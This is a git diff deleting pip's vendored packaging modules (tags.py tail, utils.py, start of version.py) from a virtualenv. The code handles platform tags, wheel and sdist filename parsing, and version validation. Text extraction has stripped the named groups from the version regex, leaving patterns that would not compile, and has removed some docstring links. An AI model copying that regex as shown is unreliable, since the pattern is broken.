-    Yields the tags for an interpreter compatible with the Python version
-    specified by ``python_version``.
-
-    The specific tags generated are:
-
-    - ``py*-none-``
-    - ``-none-any`` if ``interpreter`` is provided
-    - ``py*-none-any``
-
-    :param Sequence python_version: A one- or two-item sequence representing the
-                                 compatible version of Python. Defaults to
-                                 ``sys.version_info[:2]``.
-    :param str interpreter: The name of the interpreter (if known), e.g.
-                            ``"cp38"``. Defaults to the current interpreter.
-    :param Iterable platforms: Iterable of compatible platforms. Defaults to the
-                               platforms compatible with the current system.
-    """
-    if not python_version:
-        python_version = sys.version_info[:2]
-    platforms = list(platforms or platform_tags())
-    for version in _py_interpreter_range(python_version):
-        for platform_ in platforms:
-            yield Tag(version, "none", platform_)
-    if interpreter:
-        yield Tag(interpreter, "none", "any")
-    for version in _py_interpreter_range(python_version):
-        yield Tag(version, "none", "any")
-
-
-def _mac_arch(arch: str, is_32bit: bool = _32_BIT_INTERPRETER) -> str:
-    if not is_32bit:
-        return arch
-
-    if arch.startswith("ppc"):
-        return "ppc"
-
-    return "i386"
-
-
-def _mac_binary_formats(version: AppleVersion, cpu_arch: str) -> list[str]:
-    formats = [cpu_arch]
-    if cpu_arch == "x86_64":
-        if version < (10, 4):
-            return []
-        formats.extend(["intel", "fat64", "fat32"])
-
-    elif cpu_arch == "i386":
-        if version < (10, 4):
-            return []
-        formats.extend(["intel", "fat32", "fat"])
-
-    elif cpu_arch == "ppc64":
-        # TODO: Need to care about 32-bit PPC for ppc64 through 10.2?
-        if version > (10, 5) or version < (10, 4):
-            return []
-        formats.append("fat64")
-
-    elif cpu_arch == "ppc":
-        if version > (10, 6):
-            return []
-        formats.extend(["fat32", "fat"])
-
-    if cpu_arch in {"arm64", "x86_64"}:
-        formats.append("universal2")
-
-    if cpu_arch in {"x86_64", "i386", "ppc64", "ppc", "intel"}:
-        formats.append("universal")
-
-    return formats
-
-
-def mac_platforms(
-    version: AppleVersion | None = None, arch: str | None = None
-) -> Iterator[str]:
-    """
-    Yields the :attr:`~Tag.platform` tags for macOS.
-
-    The `version` parameter is a two-item tuple specifying the macOS version to
-    generate platform tags for. The `arch` parameter is the CPU architecture to
-    generate platform tags for. Both parameters default to the appropriate value
-    for the current system.
-
-    :param tuple version: A two-item tuple representing the version of macOS.
-                          Defaults to the current system's version.
-    :param str arch: The CPU architecture. Defaults to the architecture of the
-                     current system, e.g. ``"x86_64"``.
-
-    .. note::
-        Equivalent support for the other major platforms is purposefully not
-        provided:
-
-        - On Windows, platform compatibility is statically specified
-        - On Linux, code must be run on the system itself to determine
-          compatibility
-    """
-    version_str, _, cpu_arch = platform.mac_ver()
-    if version is None:
-        version = cast("AppleVersion", tuple(map(int, version_str.split(".")[:2])))
-        if version == (10, 16):
-            # When built against an older macOS SDK, Python will report macOS 10.16
-            # instead of the real version.
-            version_str = subprocess.run(
-                [
-                    sys.executable,
-                    "-sS",
-                    "-c",
-                    "import platform; print(platform.mac_ver()[0])",
-                ],
-                check=True,
-                env={"SYSTEM_VERSION_COMPAT": "0"},
-                stdout=subprocess.PIPE,
-                text=True,
-            ).stdout
-            version = cast("AppleVersion", tuple(map(int, version_str.split(".")[:2])))
-
-    if arch is None:
-        arch = _mac_arch(cpu_arch)
-
-    if (10, 0) <= version < (11, 0):
-        # Prior to Mac OS 11, each yearly release of Mac OS bumped the
-        # "minor" version number.  The major version was always 10.
-        major_version = 10
-        for minor_version in range(version[1], -1, -1):
-            compat_version = major_version, minor_version
-            binary_formats = _mac_binary_formats(compat_version, arch)
-            for binary_format in binary_formats:
-                yield f"macosx_{major_version}_{minor_version}_{binary_format}"
-
-    if version >= (11, 0):
-        # Starting with Mac OS 11, each yearly release bumps the major version
-        # number.   The minor versions are now the midyear updates.
-        minor_version = 0
-        for major_version in range(version[0], 10, -1):
-            compat_version = major_version, minor_version
-            binary_formats = _mac_binary_formats(compat_version, arch)
-            for binary_format in binary_formats:
-                yield f"macosx_{major_version}_{minor_version}_{binary_format}"
-
-    if version >= (11, 0):
-        # Mac OS 11 on x86_64 is compatible with binaries from previous releases.
-        # Arm64 support was introduced in 11.0, so no Arm binaries from previous
-        # releases exist.
-        #
-        # However, the "universal2" binary format can have a
-        # macOS version earlier than 11.0 when the x86_64 part of the binary supports
-        # that version of macOS.
-        major_version = 10
-        if arch == "x86_64":
-            for minor_version in range(16, 3, -1):
-                compat_version = major_version, minor_version
-                binary_formats = _mac_binary_formats(compat_version, arch)
-                for binary_format in binary_formats:
-                    yield f"macosx_{major_version}_{minor_version}_{binary_format}"
-        else:
-            for minor_version in range(16, 3, -1):
-                compat_version = major_version, minor_version
-                binary_format = "universal2"
-                yield f"macosx_{major_version}_{minor_version}_{binary_format}"
-
-
-def ios_platforms(
-    version: AppleVersion | None = None, multiarch: str | None = None
-) -> Iterator[str]:
-    """
-
-    Yields the :attr:`~Tag.platform` tags for iOS.
-
-    :param tuple version: A two-item tuple representing the version of iOS.
-                          Defaults to the current system's version.
-    :param str multiarch: The CPU architecture+ABI to be used. This should be in
-                          the format by ``sys.implementation._multiarch`` (e.g.,
-                          ``arm64_iphoneos`` or ``x86_64_iphonesimulator``).
-                          Defaults to the current system's multiarch value.
-
-    .. note::
-        Behavior of this method is undefined if invoked on non-iOS platforms
-        without providing explicit version and multiarch arguments.
-    """
-    if version is None:
-        # if iOS is the current platform, ios_ver *must* be defined. However,
-        # it won't exist for CPython versions before 3.13, which causes a mypy
-        # error.
-        _, release, _, _ = platform.ios_ver()  # type: ignore[attr-defined, unused-ignore]
-        version = cast("AppleVersion", tuple(map(int, release.split(".")[:2])))
-
-    if multiarch is None:
-        multiarch = sys.implementation._multiarch
-    multiarch = multiarch.replace("-", "_")
-
-    ios_platform_template = "ios_{major}_{minor}_{multiarch}"
-
-    # Consider any iOS major.minor version from the version requested, down to
-    # 12.0. 12.0 is the first iOS version that is known to have enough features
-    # to support CPython. Consider every possible minor release up to X.9. There
-    # highest the minor has ever gone is 8 (14.8 and 15.8) but having some extra
-    # candidates that won't ever match doesn't really hurt, and it saves us from
-    # having to keep an explicit list of known iOS versions in the code. Return
-    # the results descending order of version number.
-
-    # If the requested major version is less than 12, there won't be any matches.
-    if version[0] < 12:
-        return
-
-    # Consider the actual X.Y version that was requested.
-    yield ios_platform_template.format(
-        major=version[0], minor=version[1], multiarch=multiarch
-    )
-
-    # Consider every minor version from X.0 to the minor version prior to the
-    # version requested by the platform.
-    for minor in range(version[1] - 1, -1, -1):
-        yield ios_platform_template.format(
-            major=version[0], minor=minor, multiarch=multiarch
-        )
-
-    for major in range(version[0] - 1, 11, -1):
-        for minor in range(9, -1, -1):
-            yield ios_platform_template.format(
-                major=major, minor=minor, multiarch=multiarch
-            )
-
-
-def android_platforms(
-    api_level: int | None = None, abi: str | None = None
-) -> Iterator[str]:
-    """
-    Yields the :attr:`~Tag.platform` tags for Android. If this function is invoked on
-    non-Android platforms, the ``api_level`` and ``abi`` arguments are required.
-
-    :param int api_level: The maximum `API level
-        `__ to return. Defaults
-        to the current system's version, as returned by ``platform.android_ver``.
-    :param str abi: The `Android ABI `__,
-        e.g. ``arm64_v8a``. Defaults to the current system's ABI , as returned by
-        ``sysconfig.get_platform``. Hyphens and periods will be replaced with
-        underscores.
-    """
-    if platform.system() != "Android" and (api_level is None or abi is None):
-        raise TypeError(
-            "on non-Android platforms, the api_level and abi arguments are required"
-        )
-
-    if api_level is None:
-        # Python 3.13 was the first version to return platform.system() == "Android",
-        # and also the first version to define platform.android_ver().
-        api_level = platform.android_ver().api_level  # type: ignore[attr-defined]
-
-    if abi is None:
-        abi = sysconfig.get_platform().split("-")[-1]
-    abi = _normalize_string(abi)
-
-    # 16 is the minimum API level known to have enough features to support CPython
-    # without major patching. Yield every API level from the maximum down to the
-    # minimum, inclusive.
-    min_api_level = 16
-    for ver in range(api_level, min_api_level - 1, -1):
-        yield f"android_{ver}_{abi}"
-
-
-def _linux_platforms(is_32bit: bool = _32_BIT_INTERPRETER) -> Iterator[str]:
-    linux = _normalize_string(sysconfig.get_platform())
-    if not linux.startswith("linux_"):
-        # we should never be here, just yield the sysconfig one and return
-        yield linux
-        return
-    if is_32bit:
-        if linux == "linux_x86_64":
-            linux = "linux_i686"
-        elif linux == "linux_aarch64":
-            linux = "linux_armv8l"
-    _, arch = linux.split("_", 1)
-    archs = {"armv8l": ["armv8l", "armv7l"]}.get(arch, [arch])
-    yield from _manylinux.platform_tags(archs)
-    yield from _musllinux.platform_tags(archs)
-    for arch in archs:
-        yield f"linux_{arch}"
-
-
-def _emscripten_platforms() -> Iterator[str]:
-    pyemscripten_platform_version = sysconfig.get_config_var(
-        "PYEMSCRIPTEN_PLATFORM_VERSION"
-    )
-    if pyemscripten_platform_version:
-        yield f"pyemscripten_{pyemscripten_platform_version}_wasm32"
-    yield from _generic_platforms()
-
-
-def _generic_platforms() -> Iterator[str]:
-    yield _normalize_string(sysconfig.get_platform())
-
-
-def platform_tags() -> Iterator[str]:
-    """
-    Yields the :attr:`~Tag.platform` tags for the running interpreter.
-    """
-    if platform.system() == "Darwin":
-        return mac_platforms()
-    elif platform.system() == "iOS":
-        return ios_platforms()
-    elif platform.system() == "Android":
-        return android_platforms()
-    elif platform.system() == "Linux":
-        return _linux_platforms()
-    elif platform.system() == "Emscripten":
-        return _emscripten_platforms()
-    else:
-        return _generic_platforms()
-
-
-def interpreter_name() -> str:
-    """
-    Returns the name of the running interpreter.
-
-    Some implementations have a reserved, two-letter abbreviation which will
-    be returned when appropriate.
-
-    This typically acts as the prefix to the :attr:`~Tag.interpreter` tag.
-    """
-    name = sys.implementation.name
-    return INTERPRETER_SHORT_NAMES.get(name) or name
-
-
-def interpreter_version(*, warn: bool = False) -> str:
-    """
-    Returns the running interpreter's version.
-
-    This typically acts as the suffix to the :attr:`~Tag.interpreter` tag.
-
-    :param bool warn: Whether warnings should be logged. Defaults to ``False``.
-    """
-    version = _get_config_var("py_version_nodot", warn=warn)
-    return str(version) if version else _version_nodot(sys.version_info[:2])
-
-
-def _version_nodot(version: PythonVersion) -> str:
-    return "".join(map(str, version))
-
-
-def sys_tags(*, warn: bool = False) -> Iterator[Tag]:
-    """
-    Yields the sequence of tag triples that the running interpreter supports.
-
-    The iterable is ordered so that the best-matching tag is first in the
-    sequence. The exact preferential order to tags is interpreter-specific, but
-    in general the tag importance is in the order of:
-
-    1. Interpreter
-    2. Platform
-    3. ABI
-
-    This order is due to the fact that an ABI is inherently tied to the
-    platform, but platform-specific code is not necessarily tied to the ABI. The
-    interpreter is the most important tag as it dictates basic support for any
-    wheel.
-
-    The function returns an iterable in order to allow for the possible
-    short-circuiting of tag generation if the entire sequence is not necessary
-    and tag calculation happens to be expensive.
-
-    :param bool warn: Whether warnings should be logged. Defaults to ``False``.
-
-    .. versionchanged:: 21.3
-        Added the `pp3-none-any` tag (:issue:`311`).
-    .. versionchanged:: 27.0
-        Added the `abi3t` tag (:issue:`1099`).
-    """
-
-    interp_name = interpreter_name()
-    if interp_name == "cp":
-        yield from cpython_tags(warn=warn)
-    else:
-        yield from generic_tags()
-
-    if interp_name == "pp":
-        interp = "pp3"
-    elif interp_name == "cp":
-        interp = "cp" + interpreter_version(warn=warn)
-    else:
-        interp = None
-    yield from compatible_tags(interpreter=interp)
-
-
-def create_compatible_tags_selector(
-    tags: Iterable[Tag],
-) -> Callable[[Iterable[tuple[_T, AbstractSet[Tag]]]], Iterator[_T]]:
-    """Create a callable to select things compatible with supported tags.
-
-    This function accepts an ordered sequence of tags, with the preferred
-    tags first.
-
-    The returned callable accepts an iterable of tuples (thing, set[Tag]),
-    and returns an iterator of things, with the things with the best
-    matching tags first.
-
-    Example to select compatible wheel filenames:
-
-    >>> from packaging import tags
-    >>> from packaging.utils import parse_wheel_filename
-    >>> selector = tags.create_compatible_tags_selector(tags.sys_tags())
-    >>> filenames = ["foo-1.0-py3-none-any.whl", "foo-1.0-py2-none-any.whl"]
-    >>> list(selector([
-    ...     (filename, parse_wheel_filename(filename)[-1]) for filename in filenames
-    ... ]))
-    ['foo-1.0-py3-none-any.whl']
-
-    .. versionadded:: 26.1
-    """
-    tag_ranks: dict[Tag, int] = {}
-    for rank, tag in enumerate(tags):
-        tag_ranks.setdefault(tag, rank)  # ignore duplicate tags, keep first
-    supported_tags = tag_ranks.keys()
-
-    def selector(
-        tagged_things: Iterable[tuple[_T, AbstractSet[Tag]]],
-    ) -> Iterator[_T]:
-        ranked_things: list[tuple[_T, int]] = []
-        for thing, thing_tags in tagged_things:
-            supported_thing_tags = thing_tags & supported_tags
-            if supported_thing_tags:
-                thing_rank = min(tag_ranks[t] for t in supported_thing_tags)
-                ranked_things.append((thing, thing_rank))
-        return iter(
-            thing for thing, _ in sorted(ranked_things, key=operator.itemgetter(1))
-        )
-
-    return selector
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/utils.py b/venv/Lib/site-packages/pip/_vendor/packaging/utils.py
deleted file mode 100644
index cbd3be27c4211f73330a318debf6a490b8b9d8ba..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/utils.py
+++ /dev/null
@@ -1,296 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-from __future__ import annotations
-
-import re
-from typing import NewType, Tuple, Union, cast
-
-from .tags import Tag, UnsortedTagsError, parse_tag
-from .version import InvalidVersion, Version, _TrimmedRelease
-
-__all__ = [
-    "BuildTag",
-    "InvalidName",
-    "InvalidSdistFilename",
-    "InvalidWheelFilename",
-    "NormalizedName",
-    "canonicalize_name",
-    "canonicalize_version",
-    "is_normalized_name",
-    "parse_sdist_filename",
-    "parse_wheel_filename",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-BuildTag = Union[Tuple[()], Tuple[int, str]]
-
-NormalizedName = NewType("NormalizedName", str)
-"""
-A :class:`typing.NewType` of :class:`str`, representing a normalized name.
-"""
-
-
-class InvalidName(ValueError):
-    """
-    An invalid distribution name; users should refer to the packaging user guide.
-    """
-
-
-class InvalidWheelFilename(ValueError):
-    """
-    An invalid wheel filename was found, users should refer to PEP 427.
-    """
-
-
-class InvalidSdistFilename(ValueError):
-    """
-    An invalid sdist filename was found, users should refer to the packaging user guide.
-    """
-
-
-# Core metadata spec for `Name`
-_validate_regex = re.compile(
-    r"[a-z0-9]|[a-z0-9][a-z0-9._-]*[a-z0-9]", re.IGNORECASE | re.ASCII
-)
-_normalized_regex = re.compile(r"[a-z0-9]|[a-z0-9]([a-z0-9-](?!--))*[a-z0-9]", re.ASCII)
-# PEP 427: The build number must start with a digit.
-_build_tag_regex = re.compile(r"(\d+)(.*)", re.ASCII)
-
-
-def canonicalize_name(name: str, *, validate: bool = False) -> NormalizedName:
-    """
-    This function takes a valid Python package or extra name, and returns the
-    normalized form of it.
-
-    The return type is typed as :class:`NormalizedName`. This allows type
-    checkers to help require that a string has passed through this function
-    before use.
-
-    If **validate** is true, then the function will check if **name** is a valid
-    distribution name before normalizing.
-
-    :param str name: The name to normalize.
-    :param bool validate: Check whether the name is a valid distribution name.
-    :raises InvalidName: If **validate** is true and the name is not an
-        acceptable distribution name.
-
-    >>> from packaging.utils import canonicalize_name
-    >>> canonicalize_name("Django")
-    'django'
-    >>> canonicalize_name("oslo.concurrency")
-    'oslo-concurrency'
-    >>> canonicalize_name("requests")
-    'requests'
-    """
-    if validate and not _validate_regex.fullmatch(name):
-        raise InvalidName(f"name is invalid: {name!r}")
-    # Ensure all ``.`` and ``_`` are ``-``
-    # Emulates ``re.sub(r"[-_.]+", "-", name).lower()`` from PEP 503
-    # Much faster than re, and even faster than str.translate
-    value = name.lower().replace("_", "-").replace(".", "-")
-    # Condense repeats (faster than regex)
-    while "--" in value:
-        value = value.replace("--", "-")
-    return cast("NormalizedName", value)
-
-
-def is_normalized_name(name: str) -> bool:
-    """
-    Check if a name is already normalized (i.e. :func:`canonicalize_name` would
-    roundtrip to the same value).
-
-    :param str name: The name to check.
-
-    >>> from packaging.utils import is_normalized_name
-    >>> is_normalized_name("requests")
-    True
-    >>> is_normalized_name("Django")
-    False
-    """
-    return _normalized_regex.fullmatch(name) is not None
-
-
-def canonicalize_version(
-    version: Version | str, *, strip_trailing_zero: bool = True
-) -> str:
-    """Return a canonical form of a version as a string.
-
-    This function takes a string representing a package version (or a
-    :class:`~packaging.version.Version` instance), and returns the
-    normalized form of it. By default, it strips trailing zeros from
-    the release segment.
-
-    >>> from packaging.utils import canonicalize_version
-    >>> canonicalize_version('1.0.1')
-    '1.0.1'
-
-    Per PEP 625, versions may have multiple canonical forms, differing
-    only by trailing zeros.
-
-    >>> canonicalize_version('1.0.0')
-    '1'
-    >>> canonicalize_version('1.0.0', strip_trailing_zero=False)
-    '1.0.0'
-
-    Invalid versions are returned unaltered.
-
-    >>> canonicalize_version('foo bar baz')
-    'foo bar baz'
-
-    >>> canonicalize_version('1.4.0.0.0')
-    '1.4'
-    """
-    if isinstance(version, str):
-        try:
-            version = Version(version)
-        except InvalidVersion:
-            return str(version)
-    return str(_TrimmedRelease(version) if strip_trailing_zero else version)
-
-
-def parse_wheel_filename(
-    filename: str,
-    *,
-    validate_order: bool = False,
-) -> tuple[NormalizedName, Version, BuildTag, frozenset[Tag]]:
-    """
-    This function takes the filename of a wheel file, and parses it,
-    returning a tuple of name, version, build number, and tags.
-
-    The name part of the tuple is normalized and typed as
-    :class:`NormalizedName`. The version portion is an instance of
-    :class:`~packaging.version.Version`. The build number is ``()`` if
-    there is no build number in the wheel filename, otherwise a
-    two-item tuple of an integer for the leading digits and
-    a string for the rest of the build number. The tags portion is a
-    frozen set of :class:`~packaging.tags.Tag` instances (as the tag
-    string format allows multiple tags to be combined into a single
-    string).
-
-    If **validate_order** is true, compressed tag set components are
-    checked to be in sorted order as required by PEP 425.
-
-    :param str filename: The name of the wheel file.
-    :param bool validate_order: Check whether compressed tag set components
-        are in sorted order.
-    :raises InvalidWheelFilename: If the filename in question
-        does not follow the :ref:`wheel specification
-        `.
-
-    >>> from packaging.utils import parse_wheel_filename
-    >>> from packaging.tags import Tag
-    >>> from packaging.version import Version
-    >>> name, ver, build, tags = parse_wheel_filename("foo-1.0-py3-none-any.whl")
-    >>> name
-    'foo'
-    >>> ver == Version('1.0')
-    True
-    >>> tags == {Tag("py3", "none", "any")}
-    True
-    >>> not build
-    True
-
-    .. versionadded:: 26.1
-       The *validate_order* parameter.
-    """
-    if not filename.endswith(".whl"):
-        raise InvalidWheelFilename(
-            f"Invalid wheel filename (extension must be '.whl'): {filename!r}"
-        )
-
-    filename = filename[:-4]
-    dashes = filename.count("-")
-    if dashes not in (4, 5):
-        raise InvalidWheelFilename(
-            f"Invalid wheel filename (wrong number of parts): {filename!r}"
-        )
-
-    parts = filename.split("-", dashes - 2)
-    name_part = parts[0]
-    # See PEP 427 for the rules on escaping the project name.
-    if "__" in name_part or re.match(r"^[\w\d._]*$", name_part, re.UNICODE) is None:
-        raise InvalidWheelFilename(f"Invalid project name: {filename!r}")
-    name = canonicalize_name(name_part)
-
-    try:
-        version = Version(parts[1])
-    except InvalidVersion as e:
-        raise InvalidWheelFilename(
-            f"Invalid wheel filename (invalid version): {filename!r}"
-        ) from e
-
-    if dashes == 5:
-        build_part = parts[2]
-        build_match = _build_tag_regex.match(build_part)
-        if build_match is None:
-            raise InvalidWheelFilename(
-                f"Invalid build number: {build_part} in {filename!r}"
-            )
-        build = cast("BuildTag", (int(build_match.group(1)), build_match.group(2)))
-    else:
-        build = ()
-    tag_str = parts[-1]
-    try:
-        tags = parse_tag(tag_str, validate_order=validate_order)
-    except UnsortedTagsError:
-        raise InvalidWheelFilename(
-            f"Invalid wheel filename (compressed tag set components must be in "
-            f"sorted order per PEP 425): {filename!r}"
-        ) from None
-    return (name, version, build, tags)
-
-
-def parse_sdist_filename(filename: str) -> tuple[NormalizedName, Version]:
-    """
-    This function takes the filename of a sdist file (as specified
-    in the `Source distribution format`_ documentation), and parses
-    it, returning a tuple of the normalized name and version as
-    represented by an instance of :class:`~packaging.version.Version`.
-
-    :param str filename: The name of the sdist file.
-    :raises InvalidSdistFilename: If the filename does not end
-        with an sdist extension (``.zip`` or ``.tar.gz``), or if it does not
-        contain a dash separating the name and the version of the distribution.
-
-    >>> from packaging.utils import parse_sdist_filename
-    >>> from packaging.version import Version
-    >>> name, ver = parse_sdist_filename("foo-1.0.tar.gz")
-    >>> name
-    'foo'
-    >>> ver == Version('1.0')
-    True
-
-    .. _Source distribution format: https://packaging.python.org/specifications/source-distribution-format/#source-distribution-file-name
-    """
-    if filename.endswith(".tar.gz"):
-        file_stem = filename[: -len(".tar.gz")]
-    elif filename.endswith(".zip"):
-        file_stem = filename[: -len(".zip")]
-    else:
-        raise InvalidSdistFilename(
-            f"Invalid sdist filename (extension must be '.tar.gz' or '.zip'):"
-            f" {filename!r}"
-        )
-
-    # We are requiring a PEP 440 version, which cannot contain dashes,
-    # so we split on the last dash.
-    name_part, sep, version_part = file_stem.rpartition("-")
-    if not sep:
-        raise InvalidSdistFilename(f"Invalid sdist filename: {filename!r}")
-
-    name = canonicalize_name(name_part)
-
-    try:
-        version = Version(version_part)
-    except InvalidVersion as e:
-        raise InvalidSdistFilename(
-            f"Invalid sdist filename (invalid version): {filename!r}"
-        ) from e
-
-    return (name, version)
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/version.py b/venv/Lib/site-packages/pip/_vendor/packaging/version.py
deleted file mode 100644
index 905b47e65c4bd24f06b19edac6f78506e76204db..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/version.py
+++ /dev/null
@@ -1,1231 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-"""
-.. testsetup::
-
-    from pip._vendor.packaging.version import parse, normalize_pre, Version, _cmpkey
-"""
-
-from __future__ import annotations
-
-import re
-import sys
-import typing
-from typing import (
-    Any,
-    Callable,
-    Literal,
-    NamedTuple,
-    SupportsInt,
-    Tuple,
-    TypedDict,
-    Union,
-)
-
-if typing.TYPE_CHECKING:
-    from typing_extensions import Self, Unpack
-
-if sys.version_info >= (3, 13):  # pragma: no cover
-    from warnings import deprecated as _deprecated
-elif typing.TYPE_CHECKING:
-    from typing_extensions import deprecated as _deprecated
-else:  # pragma: no cover
-    import functools
-    import warnings
-
-    def _deprecated(message: str) -> object:
-        def decorator(func: Callable[[...], object]) -> object:
-            @functools.wraps(func)
-            def wrapper(*args: object, **kwargs: object) -> object:
-                warnings.warn(
-                    message,
-                    category=DeprecationWarning,
-                    stacklevel=2,
-                )
-                return func(*args, **kwargs)
-
-            return wrapper
-
-        return decorator
-
-
-_LETTER_NORMALIZATION = {
-    "alpha": "a",
-    "beta": "b",
-    "c": "rc",
-    "pre": "rc",
-    "preview": "rc",
-    "rev": "post",
-    "r": "post",
-}
-
-__all__ = ["VERSION_PATTERN", "InvalidVersion", "Version", "normalize_pre", "parse"]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-LocalType = Tuple[Union[int, str], ...]
-
-CmpLocalType = Tuple[Tuple[int, str], ...]
-CmpSuffix = Tuple[int, int, int, int, int, int]
-CmpKey = Union[
-    Tuple[int, Tuple[int, ...], CmpSuffix],
-    Tuple[int, Tuple[int, ...], CmpSuffix, CmpLocalType],
-]
-VersionComparisonMethod = Callable[[CmpKey, CmpKey], bool]
-
-
-class _VersionReplace(TypedDict, total=False):
-    epoch: int | None
-    release: tuple[int, ...] | None
-    pre: tuple[str, int] | None
-    post: int | None
-    dev: int | None
-    local: str | None
-
-
-def normalize_pre(letter: str, /) -> str:
-    """Normalize the pre-release segment of a version string.
-
-    Returns a lowercase version of the string if not a known pre-release
-    identifier.
-
-    >>> normalize_pre('alpha')
-    'a'
-    >>> normalize_pre('BETA')
-    'b'
-    >>> normalize_pre('rc')
-    'rc'
-
-    :param letter:
-
-    .. versionadded:: 26.1
-    """
-    letter = letter.lower()
-    return _LETTER_NORMALIZATION.get(letter, letter)
-
-
-def parse(version: str) -> Version:
-    """Parse the given version string.
-
-    This is identical to the :class:`Version` constructor.
-
-    >>> parse('1.0.dev1')
-    
-
-    :param version: The version string to parse.
-    :raises InvalidVersion: When the version string is not a valid version.
-    """
-    return Version(version)
-
-
-class InvalidVersion(ValueError):
-    """Raised when a version string is not a valid version.
-
-    >>> Version("invalid")
-    Traceback (most recent call last):
-        ...
-    packaging.version.InvalidVersion: Invalid version: 'invalid'
-    """
-
-
-class _BaseVersion:
-    __slots__ = ()
-
-    # This can also be a normal member (see the packaging_legacy package);
-    # we are just requiring it to be readable. Actually defining a property
-    # has runtime effect on subclasses, so it's typing only.
-    if typing.TYPE_CHECKING:
-
-        @property
-        def _key(self) -> tuple[Any, ...]: ...
-
-    def __hash__(self) -> int:
-        return hash(self._key)
-
-    # Please keep the duplicated `isinstance` check
-    # in the six comparisons hereunder
-    # unless you find a way to avoid adding overhead function calls.
-    def __lt__(self, other: _BaseVersion) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key < other._key
-
-    def __le__(self, other: _BaseVersion) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key <= other._key
-
-    def __eq__(self, other: object) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key == other._key
-
-    def __ge__(self, other: _BaseVersion) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key >= other._key
-
-    def __gt__(self, other: _BaseVersion) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key > other._key
-
-    def __ne__(self, other: object) -> bool:
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return self._key != other._key
-
-
-# Deliberately not anchored to the start and end of the string, to make it
-# easier for 3rd party code to reuse
-
-# Note that ++ doesn't behave identically on CPython and PyPy, so not using it here
-_VERSION_PATTERN = r"""
-    v?+                                                   # optional leading v
-    (?a:
-        (?:(?P[0-9]+)!)?+                          # epoch
-        (?P[0-9]+(?:\.[0-9]+)*+)                 # release segment
-        (?P
                                          # pre-release
-            [._-]?+
-            (?Palpha|a|beta|b|preview|pre|c|rc)
-            [._-]?+
-            (?P[0-9]+)?
-        )?+
-        (?P                                         # post release
-            (?:-(?P[0-9]+))
-            |
-            (?:
-                [._-]?
-                (?Ppost|rev|r)
-                [._-]?
-                (?P[0-9]+)?
-            )
-        )?+
-        (?P                                          # dev release
-            [._-]?+
-            (?Pdev)
-            [._-]?+
-            (?P[0-9]+)?
-        )?+
-    )
-    (?a:\+
-        (?P                                        # local version
-            [a-z0-9]+
-            (?:[._-][a-z0-9]+)*+
-        )
-    )?+
-"""
-
-_VERSION_PATTERN_OLD = _VERSION_PATTERN.replace("*+", "*").replace("?+", "?")
-
-# Possessive qualifiers were added in Python 3.11.
-# CPython 3.11.0-3.11.4 had a bug: https://github.com/python/cpython/pull/107795
-# Older PyPy also had a bug.
-VERSION_PATTERN = (
-    _VERSION_PATTERN_OLD
-    if (sys.implementation.name == "cpython" and sys.version_info < (3, 11, 5))
-    or (sys.implementation.name == "pypy" and sys.version_info < (3, 11, 13))
-    or sys.version_info < (3, 11)
-    else _VERSION_PATTERN
-)
-"""
-A string containing the regular expression used to match a valid version.
-
-The pattern is not anchored at either end, and is intended for embedding in larger
-expressions (for example, matching a version number as part of a file name). The
-regular expression should be compiled with the ``re.VERBOSE`` and ``re.IGNORECASE``
-flags set.
-
-.. versionchanged:: 26.0
-
-   The regex now uses possessive qualifiers on Python 3.11 if they are
-   supported (CPython 3.11.5+, PyPy 3.11.13+).
-
-:meta hide-value:
-"""
-
-
-# Validation pattern for local version in replace()
-_LOCAL_PATTERN = re.compile(r"[a-z0-9]+(?:[._-][a-z0-9]+)*", re.IGNORECASE | re.ASCII)
-
-# Fast path: If a version has only digits and dots then we
-# can skip the regex and parse it as a release segment
-_SIMPLE_VERSION_INDICATORS = frozenset(".0123456789")
-
-
-def _validate_epoch(value: object, /) -> int:
-    epoch = value or 0
-    if isinstance(epoch, int) and epoch >= 0:
-        return epoch
-    msg = f"epoch must be non-negative integer, got {epoch}"
-    raise InvalidVersion(msg)
-
-
-def _validate_release(value: object, /) -> tuple[int, ...]:
-    release = (0,) if value is None else value
-    if (
-        isinstance(release, tuple)
-        and len(release) > 0
-        and all(isinstance(i, int) and i >= 0 for i in release)
-    ):
-        return release
-    msg = f"release must be a non-empty tuple of non-negative integers, got {release}"
-    raise InvalidVersion(msg)
-
-
-def _validate_pre(value: object, /) -> tuple[Literal["a", "b", "rc"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, tuple) and len(value) == 2:
-        letter, number = value
-        letter = normalize_pre(letter)
-        if letter in {"a", "b", "rc"} and isinstance(number, int) and number >= 0:
-            # type checkers can't infer the Literal type here on letter
-            return (letter, number)  # type: ignore[return-value]
-    msg = f"pre must be a tuple of ('a'|'b'|'rc', non-negative int), got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_post(value: object, /) -> tuple[Literal["post"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, int) and value >= 0:
-        return ("post", value)
-    msg = f"post must be non-negative integer, got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_dev(value: object, /) -> tuple[Literal["dev"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, int) and value >= 0:
-        return ("dev", value)
-    msg = f"dev must be non-negative integer, got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_local(value: object, /) -> LocalType | None:
-    if value is None:
-        return value
-    if isinstance(value, str) and _LOCAL_PATTERN.fullmatch(value):
-        return _parse_local_version(value)
